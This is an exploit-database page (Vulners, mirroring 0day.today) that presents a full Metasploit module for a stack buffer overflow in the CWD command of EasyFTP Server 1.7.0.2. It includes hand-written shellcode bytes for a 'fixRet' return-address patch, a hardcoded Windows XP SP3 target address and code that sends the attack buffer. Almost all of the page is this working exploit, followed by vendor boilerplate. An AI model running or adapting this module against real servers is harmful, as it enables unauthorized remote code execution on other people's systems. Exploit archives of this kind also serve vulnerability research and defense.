Lucene search
K

EasyFTP Server <= 1.7.0.2 CWD Buffer Overflow (Metasploit)

🗓️ 20 Apr 2010 00:00:00Reported by Paul MakowskiType 
zdt
 zdt
🔗 0day.today👁 22 Views

EasyFTP Server <= 1.7.0.2 CWD Buffer Overflow (Metasploit) vulnerabilit

Code
==========================================================
EasyFTP Server <= 1.7.0.2 CWD Buffer Overflow (Metasploit)
==========================================================

# Exploit Title: EasyFTP Server <= 1.7.0.2 CWD Buffer Overflow (Metasploit)
# Date: April 19th, 2010
# Author: Paul Makowski ([email protected] || http://paulmakowski.wordpress.com)
# Software Link: http://easyftpsvr.googlecode.com/files/easyftpsvr-1.7.0.2.zip
# Version: EasyFTP Server <= 1.7.0.2
# Tested on: Windows XP SP3 English
 
# ways this could be improved:
# - write fixRet w/ metasm
# - use JMP ESP/EBPs for more targets
 
require 'msf/core'
 
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Msf::Exploit::Remote::Ftp
     
    $slack_space = 30
     
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'EasyFTP Server <= 1.7.0.2 CWD Command Stack Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.2.
                EasyFTP fails to check input size when parsing 'CWD' commands, which allows for
                easy stack based buffer overflow exploitation.  EasyFTP allows anonymous access by
                default; valid credentials are typically unnecessary to exploit this vulnerability.
                 
                Later versions may vulnerable, but have not been tested.
                 
                This exploit utilizes a small piece of code that I've referred to as 'fixRet'.
                This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by
                'fixing' the return address post-exploitation.  See references for more information.
            },
            'Author'         => [ 'Paul Makowski <my.hndl [at] gmail.com>' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision$',
            'References'     =>
                [
                    [ 'URL', 'http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/' ],
                    [ 'URL', 'http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit' ],
                    [ 'URL', 'http://seclists.org/bugtraq/2010/Feb/202' ],
                    [ 'URL', 'http://code.google.com/p/easyftpsvr/'],
                    [ 'URL', 'https://tegosecurity.com/etc/return_overwrite/RCE_easy_ftp_server_1.7.0.2.zip' ],
                    [ 'URL', 'http://www.securityfocus.com/bid/38262/exploit']
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    # Total bytes able to write without crashing program (505) - length of fixRet (25) - slack space (30) = 450
                    'Space'    => 505 - $slack_space - 25,
                    'BadChars' => "\x00\x0a\x2f\x5c", # from: http://downloads.securityfocus.com/vulnerabilities/exploits/38262-1.py
                },
            'Platform'   => 'win',
            'Targets'        =>
                [
                    # This could be generalized, e.g. with a JMP ESP/EBP and then a short JMP @ ESP/EBP back to the beginning of the buffer
                    [ 'Windows XP SP3 English',       { 'Ret' => 0x009AFD58 } ], # absolute addr, from Jon Butler's exploit
                ],
            'DisclosureDate' => 'Feb 16 2010',
            'DefaultTarget' => 0))
    end
 
    def check
        connect
        disconnect 
         
        if (banner =~ /BigFoolCat/) # EasyFTP Server has undergone several name changes
            return Exploit::CheckCode::Vulnerable
        end
            return Exploit::CheckCode::Safe
    end
 
    def exploit
        connect_login
         
        # If the payload's length is larger than 233 bytes then the payload must be bisected with the return address and later patched.
        # Explanation of technique: http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/
        fixRet = ( # length = 25 bytes
            "\x31\xc0" +                    # xor    %eax,%eax
            "\x31\xdb" +                    # xor    %ebx,%ebx
            "\x31\xc9" +                    # xor    %ecx,%ecx
            "\xb8\xce\x54\x30\xaa" +        # mov    $0xaa3054ce,%eax
            "\xbb\xaa\xaa\xaa\xaa" +        # mov    $0xaaaaaaaa,%ebx
            "\x31\xd8" +                    # xor    %ebx,%eax (now %eax should hold 0x009AFE64)
            "\xb9" +            # mov _____, %ecx
            payload.encoded[payload.encoded.length - 233 - 4, 4] +  # continuation of the above instruction; replace the 4 return address bytes with payload
            "\x89\x08" )                    # mov    %ecx,(%eax)
         
        print_status("Filling buffer with NOPs...")
        buf = make_nops(505)
         
        print_status("Prepending fixRet...")
        buf[0, fixRet.length] = fixRet
         
        print_status("Adding the payload...")
        buf[fixRet.length + $slack_space, payload.encoded.length] = payload.encoded # put payload in the buffer
         
        print_status("Overwriting part of the payload with target address...")
        buf[268, 4] = [ target.ret ].pack('V') # put return address @ 268 bytes
         
        print_status("Sending exploit buffer...")
        send_cmd( ['CWD', buf] , false) # this will automatically put a space between 'CWD' and our attack string
         
        handler
        disconnect
    end
 
end



#  0day.today [2018-04-08]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Apr 2010 00:00Current
7.1High risk
Vulners AI Score7.1
22